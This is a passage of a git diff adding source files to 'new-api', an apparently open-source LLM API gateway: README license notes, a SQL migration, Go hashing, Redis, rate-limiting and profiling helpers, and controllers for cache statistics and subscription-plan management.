+歡迎各種形式的貢獻！
+
+- 🐛 報告 Bug
+- 💡 提出新功能
+- 📝 改進文件
+- 🔧 提交程式碼
+
+---
+
+## 📜 許可證
+
+本項目採用 [GNU Affero 通用公共許可證 v3.0 (AGPLv3)](./LICENSE) 授權。
+
+本項目為開源項目，在 [One API](https://github.com/songquanpeng/one-api)（MIT 許可證）的基礎上進行二次開發。
+
+如果您所在的組織政策不允許使用 AGPLv3 許可的軟體，或您希望規避 AGPLv3 的開源義務，請發送郵件至：[support@quantumnous.com](mailto:support@quantumnous.com)
+
+---
+
+## 🌟 Star History
+
+<div align="center">
+
+[![Star History Chart](https://api.star-history.com/svg?repos=Calcium-Ion/new-api&type=Date)](https://star-history.com/#Calcium-Ion/new-api&Date)
+
+</div>
+
+---
+
+<div align="center">
+
+### 💖 感謝使用 New API
+
+如果這個項目對你有幫助，歡迎給我們一個 ⭐️ Star！
+
+**[官方文件](https://docs.newapi.pro/zh/docs)** • **[問題回饋](https://github.com/Calcium-Ion/new-api/issues)** • **[最新發布](https://github.com/Calcium-Ion/new-api/releases)**
+
+<sub>Built with ❤️ by QuantumNous</sub>
+
+</div>
diff --git a/new-api/bin/migration_v0.3-v0.4.sql b/new-api/bin/migration_v0.3-v0.4.sql
new file mode 100644
index 0000000..e6103c2
--- /dev/null
+++ b/new-api/bin/migration_v0.3-v0.4.sql
@@ -0,0 +1,17 @@
+INSERT INTO abilities (`group`, model, channel_id, enabled)
+SELECT c.`group`, m.model, c.id, 1
+FROM channels c
+CROSS JOIN (
+    SELECT 'gpt-3.5-turbo' AS model UNION ALL
+    SELECT 'gpt-3.5-turbo-0301' AS model UNION ALL
+    SELECT 'gpt-4' AS model UNION ALL
+    SELECT 'gpt-4-0314' AS model
+) AS m
+WHERE c.status = 1
+  AND NOT EXISTS (
+    SELECT 1
+    FROM abilities a
+    WHERE a.`group` = c.`group`
+      AND a.model = m.model
+      AND a.channel_id = c.id
+);
diff --git a/new-api/common/crypto.go b/new-api/common/crypto.go
new file mode 100644
index 0000000..3ca06bd
--- /dev/null
+++ b/new-api/common/crypto.go
@@ -0,0 +1,32 @@
+package common
+
+import (
+	"crypto/hmac"
+	"crypto/sha256"
+	"encoding/hex"
+
+	"golang.org/x/crypto/bcrypt"
+)
+
+func GenerateHMACWithKey(key []byte, data string) string {
+	h := hmac.New(sha256.New, key)
+	h.Write([]byte(data))
+	return hex.EncodeToString(h.Sum(nil))
+}
+
+func GenerateHMAC(data string) string {
+	h := hmac.New(sha256.New, []byte(CryptoSecret))
+	h.Write([]byte(data))
+	return hex.EncodeToString(h.Sum(nil))
+}
+
+func Password2Hash(password string) (string, error) {
+	passwordBytes := []byte(password)
+	hashedPassword, err := bcrypt.GenerateFromPassword(passwordBytes, bcrypt.DefaultCost)
+	return string(hashedPassword), err
+}
+
+func ValidatePasswordAndHash(password string, hash string) bool {
+	err := bcrypt.CompareHashAndPassword([]byte(hash), []byte(password))
+	return err == nil
+}
diff --git a/new-api/common/custom-event.go b/new-api/common/custom-event.go
new file mode 100644
index 0000000..256db54
--- /dev/null
+++ b/new-api/common/custom-event.go
@@ -0,0 +1,87 @@
+// Copyright 2014 Manu Martinez-Almeida.  All rights reserved.
+// Use of this source code is governed by a MIT style
+// license that can be found in the LICENSE file.
+
+package common
+
+import (
+	"fmt"
+	"io"
+	"net/http"
+	"strings"
+	"sync"
+)
+
+type stringWriter interface {
+	io.Writer
+	writeString(string) (int, error)
+}
+
+type stringWrapper struct {
+	io.Writer
+}
+
+func (w stringWrapper) writeString(str string) (int, error) {
+	return w.Writer.Write([]byte(str))
+}
+
+func checkWriter(writer io.Writer) stringWriter {
+	if w, ok := writer.(stringWriter); ok {
+		return w
+	} else {
+		return stringWrapper{writer}
+	}
+}
+
+// Server-Sent Events
+// W3C Working Draft 29 October 2009
+// http://www.w3.org/TR/2009/WD-eventsource-20091029/
+
+var contentType = []string{"text/event-stream"}
+var noCache = []string{"no-cache"}
+
+var fieldReplacer = strings.NewReplacer(
+	"\n", "\\n",
+	"\r", "\\r")
+
+var dataReplacer = strings.NewReplacer(
+	"\n", "\n",
+	"\r", "\\r")
+
+type CustomEvent struct {
+	Event string
+	Id    string
+	Retry uint
+	Data  interface{}
+
+	Mutex sync.Mutex
+}
+
+func encode(writer io.Writer, event CustomEvent) error {
+	w := checkWriter(writer)
+	return writeData(w, event.Data)
+}
+
+func writeData(w stringWriter, data interface{}) error {
+	dataReplacer.WriteString(w, fmt.Sprint(data))
+	if strings.HasPrefix(data.(string), "data") {
+		w.writeString("\n\n")
+	}
+	return nil
+}
+
+func (r CustomEvent) Render(w http.ResponseWriter) error {
+	r.WriteContentType(w)
+	return encode(w, r)
+}
+
+func (r CustomEvent) WriteContentType(w http.ResponseWriter) {
+	r.Mutex.Lock()
+	defer r.Mutex.Unlock()
+	header := w.Header()
+	header["Content-Type"] = contentType
+
+	if _, exist := header["Cache-Control"]; !exist {
+		header["Cache-Control"] = noCache
+	}
+}
diff --git a/new-api/common/endpoint_defaults.go b/new-api/common/endpoint_defaults.go
new file mode 100644
index 0000000..11ec792
--- /dev/null
+++ b/new-api/common/endpoint_defaults.go
@@ -0,0 +1,34 @@
+package common
+
+import "github.com/QuantumNous/new-api/constant"
+
+// EndpointInfo 描述单个端点的默认请求信息
+// path: 上游路径
+// method: HTTP 请求方式，例如 POST/GET
+// 目前均为 POST，后续可扩展
+//
+// json 标签用于直接序列化到 API 输出
+// 例如：{"path":"/v1/chat/completions","method":"POST"}
+
+type EndpointInfo struct {
+	Path   string `json:"path"`
+	Method string `json:"method"`
+}
+
+// defaultEndpointInfoMap 保存内置端点的默认 Path 与 Method
+var defaultEndpointInfoMap = map[constant.EndpointType]EndpointInfo{
+	constant.EndpointTypeOpenAI:                {Path: "/v1/chat/completions", Method: "POST"},
+	constant.EndpointTypeOpenAIResponse:        {Path: "/v1/responses", Method: "POST"},
+	constant.EndpointTypeOpenAIResponseCompact: {Path: "/v1/responses/compact", Method: "POST"},
+	constant.EndpointTypeAnthropic:             {Path: "/v1/messages", Method: "POST"},
+	constant.EndpointTypeGemini:                {Path: "/v1beta/models/{model}:generateContent", Method: "POST"},
+	constant.EndpointTypeJinaRerank:            {Path: "/v1/rerank", Method: "POST"},
+	constant.EndpointTypeImageGeneration:       {Path: "/v1/images/generations", Method: "POST"},
+	constant.EndpointTypeEmbeddings:            {Path: "/v1/embeddings", Method: "POST"},
+}
+
+// GetDefaultEndpointInfo 返回指定端点类型的默认信息以及是否存在
+func GetDefaultEndpointInfo(et constant.EndpointType) (EndpointInfo, bool) {
+	info, ok := defaultEndpointInfoMap[et]
+	return info, ok
+}
diff --git a/new-api/common/hash.go b/new-api/common/hash.go
new file mode 100644
index 0000000..5019193
--- /dev/null
+++ b/new-api/common/hash.go
@@ -0,0 +1,34 @@
+package common
+
+import (
+	"crypto/hmac"
+	"crypto/sha1"
+	"crypto/sha256"
+	"encoding/hex"
+)
+
+func Sha256Raw(data []byte) []byte {
+	h := sha256.New()
+	h.Write(data)
+	return h.Sum(nil)
+}
+
+func Sha1Raw(data []byte) []byte {
+	h := sha1.New()
+	h.Write(data)
+	return h.Sum(nil)
+}
+
+func Sha1(data []byte) string {
+	return hex.EncodeToString(Sha1Raw(data))
+}
+
+func HmacSha256Raw(message, key []byte) []byte {
+	h := hmac.New(sha256.New, key)
+	h.Write(message)
+	return h.Sum(nil)
+}
+
+func HmacSha256(message, key string) string {
+	return hex.EncodeToString(HmacSha256Raw([]byte(message), []byte(key)))
+}
diff --git a/new-api/common/limiter/limiter.go b/new-api/common/limiter/limiter.go
new file mode 100644
index 0000000..6be61bc
--- /dev/null
+++ b/new-api/common/limiter/limiter.go
@@ -0,0 +1,90 @@
+package limiter
+
+import (
+	"context"
+	_ "embed"
+	"fmt"
+	"sync"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/go-redis/redis/v8"
+)
+
+//go:embed lua/rate_limit.lua
+var rateLimitScript string
+
+type RedisLimiter struct {
+	client         *redis.Client
+	limitScriptSHA string
+}
+
+var (
+	instance *RedisLimiter
+	once     sync.Once
+)
+
+func New(ctx context.Context, r *redis.Client) *RedisLimiter {
+	once.Do(func() {
+		// 预加载脚本
+		limitSHA, err := r.ScriptLoad(ctx, rateLimitScript).Result()
+		if err != nil {
+			common.SysLog(fmt.Sprintf("Failed to load rate limit script: %v", err))
+		}
+		instance = &RedisLimiter{
+			client:         r,
+			limitScriptSHA: limitSHA,
+		}
+	})
+
+	return instance
+}
+
+func (rl *RedisLimiter) Allow(ctx context.Context, key string, opts ...Option) (bool, error) {
+	// 默认配置
+	config := &Config{
+		Capacity:  10,
+		Rate:      1,
+		Requested: 1,
+	}
+
+	// 应用选项模式
+	for _, opt := range opts {
+		opt(config)
+	}
+
+	// 执行限流
+	result, err := rl.client.EvalSha(
+		ctx,
+		rl.limitScriptSHA,
+		[]string{key},
+		config.Requested,
+		config.Rate,
+		config.Capacity,
+	).Int()
+
+	if err != nil {
+		return false, fmt.Errorf("rate limit failed: %w", err)
+	}
+	return result == 1, nil
+}
+
+// Config 配置选项模式
+type Config struct {
+	Capacity  int64
+	Rate      int64
+	Requested int64
+}
+
+type Option func(*Config)
+
+func WithCapacity(c int64) Option {
+	return func(cfg *Config) { cfg.Capacity = c }
+}
+
+func WithRate(r int64) Option {
+	return func(cfg *Config) { cfg.Rate = r }
+}
+
+func WithRequested(n int64) Option {
+	return func(cfg *Config) { cfg.Requested = n }
+}
diff --git a/new-api/common/pprof.go b/new-api/common/pprof.go
new file mode 100644
index 0000000..7459265
--- /dev/null
+++ b/new-api/common/pprof.go
@@ -0,0 +1,45 @@
+package common
+
+import (
+	"fmt"
+	"os"
+	"runtime/pprof"
+	"time"
+
+	"github.com/shirou/gopsutil/cpu"
+)
+
+// Monitor 定时监控cpu使用率，超过阈值输出pprof文件
+func Monitor() {
+	for {
+		percent, err := cpu.Percent(time.Second, false)
+		if err != nil {
+			panic(err)
+		}
+		if percent[0] > 80 {
+			fmt.Println("cpu usage too high")
+			// write pprof file
+			if _, err := os.Stat("./pprof"); os.IsNotExist(err) {
+				err := os.Mkdir("./pprof", os.ModePerm)
+				if err != nil {
+					SysLog("创建pprof文件夹失败 " + err.Error())
+					continue
+				}
+			}
+			f, err := os.Create("./pprof/" + fmt.Sprintf("cpu-%s.pprof", time.Now().Format("20060102150405")))
+			if err != nil {
+				SysLog("创建pprof文件失败 " + err.Error())
+				continue
+			}
+			err = pprof.StartCPUProfile(f)
+			if err != nil {
+				SysLog("启动pprof失败 " + err.Error())
+				continue
+			}
+			time.Sleep(10 * time.Second) // profile for 30 seconds
+			pprof.StopCPUProfile()
+			f.Close()
+		}
+		time.Sleep(30 * time.Second)
+	}
+}
diff --git a/new-api/common/redis.go b/new-api/common/redis.go
new file mode 100644
index 0000000..c728783
--- /dev/null
+++ b/new-api/common/redis.go
@@ -0,0 +1,327 @@
+package common
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"os"
+	"reflect"
+	"strconv"
+	"time"
+
+	"github.com/go-redis/redis/v8"
+	"gorm.io/gorm"
+)
+
+var RDB *redis.Client
+var RedisEnabled = true
+
+func RedisKeyCacheSeconds() int {
+	return SyncFrequency
+}
+
+// InitRedisClient This function is called after init()
+func InitRedisClient() (err error) {
+	if os.Getenv("REDIS_CONN_STRING") == "" {
+		RedisEnabled = false
+		SysLog("REDIS_CONN_STRING not set, Redis is not enabled")
+		return nil
+	}
+	if os.Getenv("SYNC_FREQUENCY") == "" {
+		SysLog("SYNC_FREQUENCY not set, use default value 60")
+		SyncFrequency = 60
+	}
+	SysLog("Redis is enabled")
+	opt, err := redis.ParseURL(os.Getenv("REDIS_CONN_STRING"))
+	if err != nil {
+		FatalLog("failed to parse Redis connection string: " + err.Error())
+	}
+	opt.PoolSize = GetEnvOrDefault("REDIS_POOL_SIZE", 10)
+	RDB = redis.NewClient(opt)
+
+	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+	defer cancel()
+
+	_, err = RDB.Ping(ctx).Result()
+	if err != nil {
+		FatalLog("Redis ping test failed: " + err.Error())
+	}
+	if DebugEnabled {
+		SysLog(fmt.Sprintf("Redis connected to %s", opt.Addr))
+		SysLog(fmt.Sprintf("Redis database: %d", opt.DB))
+	}
+	return err
+}
+
+func ParseRedisOption() *redis.Options {
+	opt, err := redis.ParseURL(os.Getenv("REDIS_CONN_STRING"))
+	if err != nil {
+		FatalLog("failed to parse Redis connection string: " + err.Error())
+	}
+	return opt
+}
+
+func RedisSet(key string, value string, expiration time.Duration) error {
+	if DebugEnabled {
+		SysLog(fmt.Sprintf("Redis SET: key=%s, value=%s, expiration=%v", key, value, expiration))
+	}
+	ctx := context.Background()
+	return RDB.Set(ctx, key, value, expiration).Err()
+}
+
+func RedisGet(key string) (string, error) {
+	if DebugEnabled {
+		SysLog(fmt.Sprintf("Redis GET: key=%s", key))
+	}
+	ctx := context.Background()
+	val, err := RDB.Get(ctx, key).Result()
+	return val, err
+}
+
+//func RedisExpire(key string, expiration time.Duration) error {
+//	ctx := context.Background()
+//	return RDB.Expire(ctx, key, expiration).Err()
+//}
+//
+//func RedisGetEx(key string, expiration time.Duration) (string, error) {
+//	ctx := context.Background()
+//	return RDB.GetSet(ctx, key, expiration).Result()
+//}
+
+func RedisDel(key string) error {
+	if DebugEnabled {
+		SysLog(fmt.Sprintf("Redis DEL: key=%s", key))
+	}
+	ctx := context.Background()
+	return RDB.Del(ctx, key).Err()
+}
+
+func RedisDelKey(key string) error {
+	if DebugEnabled {
+		SysLog(fmt.Sprintf("Redis DEL Key: key=%s", key))
+	}
+	ctx := context.Background()
+	return RDB.Del(ctx, key).Err()
+}
+
+func RedisHSetObj(key string, obj interface{}, expiration time.Duration) error {
+	if DebugEnabled {
+		SysLog(fmt.Sprintf("Redis HSET: key=%s, obj=%+v, expiration=%v", key, obj, expiration))
+	}
+	ctx := context.Background()
+
+	data := make(map[string]interface{})
+
+	// 使用反射遍历结构体字段
+	v := reflect.ValueOf(obj).Elem()
+	t := v.Type()
+	for i := 0; i < v.NumField(); i++ {
+		field := t.Field(i)
+		value := v.Field(i)
+
+		// Skip DeletedAt field
+		if field.Type.String() == "gorm.DeletedAt" {
+			continue
+		}
+
+		// 处理指针类型
+		if value.Kind() == reflect.Ptr {
+			if value.IsNil() {
+				data[field.Name] = ""
+				continue
+			}
+			value = value.Elem()
+		}
+
+		// 处理布尔类型
+		if value.Kind() == reflect.Bool {
+			data[field.Name] = strconv.FormatBool(value.Bool())
+			continue
+		}
+
+		// 其他类型直接转换为字符串
+		data[field.Name] = fmt.Sprintf("%v", value.Interface())
+	}
+
+	txn := RDB.TxPipeline()
+	txn.HSet(ctx, key, data)
+
+	// 只有在 expiration 大于 0 时才设置过期时间
+	if expiration > 0 {
+		txn.Expire(ctx, key, expiration)
+	}
+
+	_, err := txn.Exec(ctx)
+	if err != nil {
+		return fmt.Errorf("failed to execute transaction: %w", err)
+	}
+	return nil
+}
+
+func RedisHGetObj(key string, obj interface{}) error {
+	if DebugEnabled {
+		SysLog(fmt.Sprintf("Redis HGETALL: key=%s", key))
+	}
+	ctx := context.Background()
+
+	result, err := RDB.HGetAll(ctx, key).Result()
+	if err != nil {
+		return fmt.Errorf("failed to load hash from Redis: %w", err)
+	}
+
+	if len(result) == 0 {
+		return fmt.Errorf("key %s not found in Redis", key)
+	}
+
+	// Handle both pointer and non-pointer values
+	val := reflect.ValueOf(obj)
+	if val.Kind() != reflect.Ptr {
+		return fmt.Errorf("obj must be a pointer to a struct, got %T", obj)
+	}
+
+	v := val.Elem()
+	if v.Kind() != reflect.Struct {
+		return fmt.Errorf("obj must be a pointer to a struct, got pointer to %T", v.Interface())
+	}
+
+	t := v.Type()
+	for i := 0; i < v.NumField(); i++ {
+		field := t.Field(i)
+		fieldName := field.Name
+		if value, ok := result[fieldName]; ok {
+			fieldValue := v.Field(i)
+
+			// Handle pointer types
+			if fieldValue.Kind() == reflect.Ptr {
+				if value == "" {
+					continue
+				}
+				if fieldValue.IsNil() {
+					fieldValue.Set(reflect.New(fieldValue.Type().Elem()))
+				}
+				fieldValue = fieldValue.Elem()
+			}
+
+			// Enhanced type handling for Token struct
+			switch fieldValue.Kind() {
+			case reflect.String:
+				fieldValue.SetString(value)
+			case reflect.Int, reflect.Int64:
+				intValue, err := strconv.ParseInt(value, 10, 64)
+				if err != nil {
+					return fmt.Errorf("failed to parse int field %s: %w", fieldName, err)
+				}
+				fieldValue.SetInt(intValue)
+			case reflect.Bool:
+				boolValue, err := strconv.ParseBool(value)
+				if err != nil {
+					return fmt.Errorf("failed to parse bool field %s: %w", fieldName, err)
+				}
+				fieldValue.SetBool(boolValue)
+			case reflect.Struct:
+				// Special handling for gorm.DeletedAt
+				if fieldValue.Type().String() == "gorm.DeletedAt" {
+					if value != "" {
+						timeValue, err := time.Parse(time.RFC3339, value)
+						if err != nil {
+							return fmt.Errorf("failed to parse DeletedAt field %s: %w", fieldName, err)
+						}
+						fieldValue.Set(reflect.ValueOf(gorm.DeletedAt{Time: timeValue, Valid: true}))
+					}
+				}
+			default:
+				return fmt.Errorf("unsupported field type: %s for field %s", fieldValue.Kind(), fieldName)
+			}
+		}
+	}
+
+	return nil
+}
+
+// RedisIncr Add this function to handle atomic increments
+func RedisIncr(key string, delta int64) error {
+	if DebugEnabled {
+		SysLog(fmt.Sprintf("Redis INCR: key=%s, delta=%d", key, delta))
+	}
+	// 检查键的剩余生存时间
+	ttlCmd := RDB.TTL(context.Background(), key)
+	ttl, err := ttlCmd.Result()
+	if err != nil && !errors.Is(err, redis.Nil) {
+		return fmt.Errorf("failed to get TTL: %w", err)
+	}
+
+	// 只有在 key 存在且有 TTL 时才需要特殊处理
+	if ttl > 0 {
+		ctx := context.Background()
+		// 开始一个Redis事务
+		txn := RDB.TxPipeline()
+
+		// 减少余额
+		decrCmd := txn.IncrBy(ctx, key, delta)
+		if err := decrCmd.Err(); err != nil {
+			return err // 如果减少失败，则直接返回错误
+		}
+
+		// 重新设置过期时间，使用原来的过期时间
+		txn.Expire(ctx, key, ttl)
+
+		// 执行事务
+		_, err = txn.Exec(ctx)
+		return err
+	}
+	return nil
+}
+
+func RedisHIncrBy(key, field string, delta int64) error {
+	if DebugEnabled {
+		SysLog(fmt.Sprintf("Redis HINCRBY: key=%s, field=%s, delta=%d", key, field, delta))
+	}
+	ttlCmd := RDB.TTL(context.Background(), key)
+	ttl, err := ttlCmd.Result()
+	if err != nil && !errors.Is(err, redis.Nil) {
+		return fmt.Errorf("failed to get TTL: %w", err)
+	}
+
+	if ttl > 0 {
+		ctx := context.Background()
+		txn := RDB.TxPipeline()
+
+		incrCmd := txn.HIncrBy(ctx, key, field, delta)
+		if err := incrCmd.Err(); err != nil {
+			return err
+		}
+
+		txn.Expire(ctx, key, ttl)
+
+		_, err = txn.Exec(ctx)
+		return err
+	}
+	return nil
+}
+
+func RedisHSetField(key, field string, value interface{}) error {
+	if DebugEnabled {
+		SysLog(fmt.Sprintf("Redis HSET field: key=%s, field=%s, value=%v", key, field, value))
+	}
+	ttlCmd := RDB.TTL(context.Background(), key)
+	ttl, err := ttlCmd.Result()
+	if err != nil && !errors.Is(err, redis.Nil) {
+		return fmt.Errorf("failed to get TTL: %w", err)
+	}
+
+	if ttl > 0 {
+		ctx := context.Background()
+		txn := RDB.TxPipeline()
+
+		hsetCmd := txn.HSet(ctx, key, field, value)
+		if err := hsetCmd.Err(); err != nil {
+			return err
+		}
+
+		txn.Expire(ctx, key, ttl)
+
+		_, err = txn.Exec(ctx)
+		return err
+	}
+	return nil
+}
diff --git a/new-api/constant/README.md b/new-api/constant/README.md
new file mode 100644
index 0000000..12a9ffa
--- /dev/null
+++ b/new-api/constant/README.md
@@ -0,0 +1,26 @@
+# constant 包 (`/constant`)
+
+该目录仅用于放置全局可复用的**常量定义**，不包含任何业务逻辑或依赖关系。
+
+## 当前文件
+
+| 文件                   | 说明                                                                  |
+|----------------------|---------------------------------------------------------------------|
+| `azure.go`           | 定义与 Azure 相关的全局常量，如 `AzureNoRemoveDotTime`（控制删除 `.` 的截止时间）。         |
+| `cache_key.go`       | 缓存键格式字符串及 Token 相关字段常量，统一缓存命名规则。                                    |
+| `channel_setting.go` | Channel 级别的设置键，如 `proxy`、`force_format` 等。                          |
+| `context_key.go`     | 定义 `ContextKey` 类型以及在整个项目中使用的上下文键常量（请求时间、Token/Channel/User 相关信息等）。 |
+| `env.go`             | 环境配置相关的全局变量，在启动阶段根据配置文件或环境变量注入。                                     |
+| `finish_reason.go`   | OpenAI/GPT 请求返回的 `finish_reason` 字符串常量集合。                           |
+| `midjourney.go`      | Midjourney 相关错误码及动作(Action)常量与模型到动作的映射表。                            |
+| `setup.go`           | 标识项目是否已完成初始化安装 (`Setup` 布尔值)。                                       |
+| `task.go`            | 各种任务(Task)平台、动作常量及模型与动作映射表，如 Suno、Midjourney 等。                     |
+| `user_setting.go`    | 用户设置相关键常量以及通知类型(Email/Webhook)等。                                    |
+
+## 使用约定
+
+1. `constant` 包**只能被其他包引用**（import），**禁止在此包中引用项目内的其他自定义包**。如确有需要，仅允许引用 **Go 标准库**。
+2. 不允许在此目录内编写任何与业务流程、数据库操作、第三方服务调用等相关的逻辑代码。
+3. 新增类型时，请保持命名语义清晰，并在本 README 的 **当前文件** 表格中补充说明，确保团队成员能够快速了解其用途。
+
+> ⚠️ 违反以上约定将导致包之间产生不必要的耦合，影响代码可维护性与可测试性。请在提交代码前自行检查。
\ No newline at end of file
diff --git a/new-api/constant/env.go b/new-api/constant/env.go
new file mode 100644
index 0000000..d5aff1b
--- /dev/null
+++ b/new-api/constant/env.go
@@ -0,0 +1,26 @@
+package constant
+
+var StreamingTimeout int
+var DifyDebug bool
+var MaxFileDownloadMB int
+var StreamScannerMaxBufferMB int
+var ForceStreamOption bool
+var CountToken bool
+var GetMediaToken bool
+var GetMediaTokenNotStream bool
+var UpdateTask bool
+var MaxRequestBodyMB int
+var AzureDefaultAPIVersion string
+var NotifyLimitCount int
+var NotificationLimitDurationMinute int
+var GenerateDefaultToken bool
+var ErrorLogEnabled bool
+var TaskQueryLimit int
+var TaskTimeoutMinutes int
+
+// temporary variable for sora patch, will be removed in future
+var TaskPricePatches []string
+
+// TrustedRedirectDomains is a list of trusted domains for redirect URL validation.
+// Domains support subdomain matching (e.g., "example.com" matches "sub.example.com").
+var TrustedRedirectDomains []string
diff --git a/new-api/controller/channel_affinity_cache.go b/new-api/controller/channel_affinity_cache.go
new file mode 100644
index 0000000..a72b04b
--- /dev/null
+++ b/new-api/controller/channel_affinity_cache.go
@@ -0,0 +1,88 @@
+package controller
+
+import (
+	"net/http"
+	"strings"
+
+	"github.com/QuantumNous/new-api/service"
+	"github.com/gin-gonic/gin"
+)
+
+func GetChannelAffinityCacheStats(c *gin.Context) {
+	stats := service.GetChannelAffinityCacheStats()
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "",
+		"data":    stats,
+	})
+}
+
+func ClearChannelAffinityCache(c *gin.Context) {
+	all := strings.TrimSpace(c.Query("all"))
+	ruleName := strings.TrimSpace(c.Query("rule_name"))
+
+	if all == "true" {
+		deleted := service.ClearChannelAffinityCacheAll()
+		c.JSON(http.StatusOK, gin.H{
+			"success": true,
+			"message": "",
+			"data": gin.H{
+				"deleted": deleted,
+			},
+		})
+		return
+	}
+
+	if ruleName == "" {
+		c.JSON(http.StatusBadRequest, gin.H{
+			"success": false,
+			"message": "缺少参数：rule_name，或使用 all=true 清空全部",
+		})
+		return
+	}
+
+	deleted, err := service.ClearChannelAffinityCacheByRuleName(ruleName)
+	if err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{
+			"success": false,
+			"message": err.Error(),
+		})
+		return
+	}
+
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "",
+		"data": gin.H{
+			"deleted": deleted,
+		},
+	})
+}
+
+func GetChannelAffinityUsageCacheStats(c *gin.Context) {
+	ruleName := strings.TrimSpace(c.Query("rule_name"))
+	usingGroup := strings.TrimSpace(c.Query("using_group"))
+	keyFp := strings.TrimSpace(c.Query("key_fp"))
+
+	if ruleName == "" {
+		c.JSON(http.StatusBadRequest, gin.H{
+			"success": false,
+			"message": "missing param: rule_name",
+		})
+		return
+	}
+	if keyFp == "" {
+		c.JSON(http.StatusBadRequest, gin.H{
+			"success": false,
+			"message": "missing param: key_fp",
+		})
+		return
+	}
+
+	stats := service.GetChannelAffinityUsageCacheStats(ruleName, usingGroup, keyFp)
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "",
+		"data":    stats,
+	})
+}
diff --git a/new-api/controller/subscription.go b/new-api/controller/subscription.go
new file mode 100644
index 0000000..c609531
--- /dev/null
+++ b/new-api/controller/subscription.go
@@ -0,0 +1,383 @@
+package controller
+
+import (
+	"strconv"
+	"strings"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/model"
+	"github.com/QuantumNous/new-api/setting/ratio_setting"
+	"github.com/gin-gonic/gin"
+	"gorm.io/gorm"
+)
+
+// ---- Shared types ----
+
+type SubscriptionPlanDTO struct {
+	Plan model.SubscriptionPlan `json:"plan"`
+}
+
+type BillingPreferenceRequest struct {
+	BillingPreference string `json:"billing_preference"`
+}
+
+// ---- User APIs ----
+
+func GetSubscriptionPlans(c *gin.Context) {
+	var plans []model.SubscriptionPlan
+	if err := model.DB.Where("enabled = ?", true).Order("sort_order desc, id desc").Find(&plans).Error; err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	result := make([]SubscriptionPlanDTO, 0, len(plans))
+	for _, p := range plans {
+		result = append(result, SubscriptionPlanDTO{
+			Plan: p,
+		})
+	}
+	common.ApiSuccess(c, result)
+}
+
+func GetSubscriptionSelf(c *gin.Context) {
+	userId := c.GetInt("id")
+	settingMap, _ := model.GetUserSetting(userId, false)
+	pref := common.NormalizeBillingPreference(settingMap.BillingPreference)
+
+	// Get all subscriptions (including expired)
+	allSubscriptions, err := model.GetAllUserSubscriptions(userId)
+	if err != nil {
+		allSubscriptions = []model.SubscriptionSummary{}
+	}
+
+	// Get active subscriptions for backward compatibility
+	activeSubscriptions, err := model.GetAllActiveUserSubscriptions(userId)
+	if err != nil {
+		activeSubscriptions = []model.SubscriptionSummary{}
+	}
+
+	common.ApiSuccess(c, gin.H{
+		"billing_preference": pref,
+		"subscriptions":      activeSubscriptions, // all active subscriptions
+		"all_subscriptions":  allSubscriptions,    // all subscriptions including expired
+	})
+}
+
+func UpdateSubscriptionPreference(c *gin.Context) {
+	userId := c.GetInt("id")
+	var req BillingPreferenceRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		common.ApiErrorMsg(c, "参数错误")
+		return
+	}
+	pref := common.NormalizeBillingPreference(req.BillingPreference)
+
+	user, err := model.GetUserById(userId, true)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	current := user.GetSetting()
+	current.BillingPreference = pref
+	user.SetSetting(current)
+	if err := user.Update(false); err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	common.ApiSuccess(c, gin.H{"billing_preference": pref})
+}
+
+// ---- Admin APIs ----
+
+func AdminListSubscriptionPlans(c *gin.Context) {
+	var plans []model.SubscriptionPlan
+	if err := model.DB.Order("sort_order desc, id desc").Find(&plans).Error; err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	result := make([]SubscriptionPlanDTO, 0, len(plans))
+	for _, p := range plans {
+		result = append(result, SubscriptionPlanDTO{
+			Plan: p,
+		})
+	}
+	common.ApiSuccess(c, result)
+}
+
+type AdminUpsertSubscriptionPlanRequest struct {
+	Plan model.SubscriptionPlan `json:"plan"`
+}
+
+func AdminCreateSubscriptionPlan(c *gin.Context) {
+	var req AdminUpsertSubscriptionPlanRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		common.ApiErrorMsg(c, "参数错误")
+		return
+	}
+	req.Plan.Id = 0
+	if strings.TrimSpace(req.Plan.Title) == "" {
+		common.ApiErrorMsg(c, "套餐标题不能为空")
+		return
+	}
+	if req.Plan.PriceAmount < 0 {
+		common.ApiErrorMsg(c, "价格不能为负数")
+		return
+	}
+	if req.Plan.PriceAmount > 9999 {
+		common.ApiErrorMsg(c, "价格不能超过9999")
+		return
+	}
+	if req.Plan.Currency == "" {
+		req.Plan.Currency = "USD"
+	}
+	req.Plan.Currency = "USD"
+	if req.Plan.DurationUnit == "" {
+		req.Plan.DurationUnit = model.SubscriptionDurationMonth
+	}
+	if req.Plan.DurationValue <= 0 && req.Plan.DurationUnit != model.SubscriptionDurationCustom {
+		req.Plan.DurationValue = 1
+	}
+	if req.Plan.MaxPurchasePerUser < 0 {
+		common.ApiErrorMsg(c, "购买上限不能为负数")
+		return
+	}
+	if req.Plan.TotalAmount < 0 {
+		common.ApiErrorMsg(c, "总额度不能为负数")
+		return
+	}
+	req.Plan.UpgradeGroup = strings.TrimSpace(req.Plan.UpgradeGroup)
+	if req.Plan.UpgradeGroup != "" {
+		if _, ok := ratio_setting.GetGroupRatioCopy()[req.Plan.UpgradeGroup]; !ok {
+			common.ApiErrorMsg(c, "升级分组不存在")
+			return
+		}
+	}
+	req.Plan.QuotaResetPeriod = model.NormalizeResetPeriod(req.Plan.QuotaResetPeriod)
+	if req.Plan.QuotaResetPeriod == model.SubscriptionResetCustom && req.Plan.QuotaResetCustomSeconds <= 0 {
+		common.ApiErrorMsg(c, "自定义重置周期需大于0秒")
+		return
+	}
+	err := model.DB.Create(&req.Plan).Error
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	model.InvalidateSubscriptionPlanCache(req.Plan.Id)
+	common.ApiSuccess(c, req.Plan)
+}
+
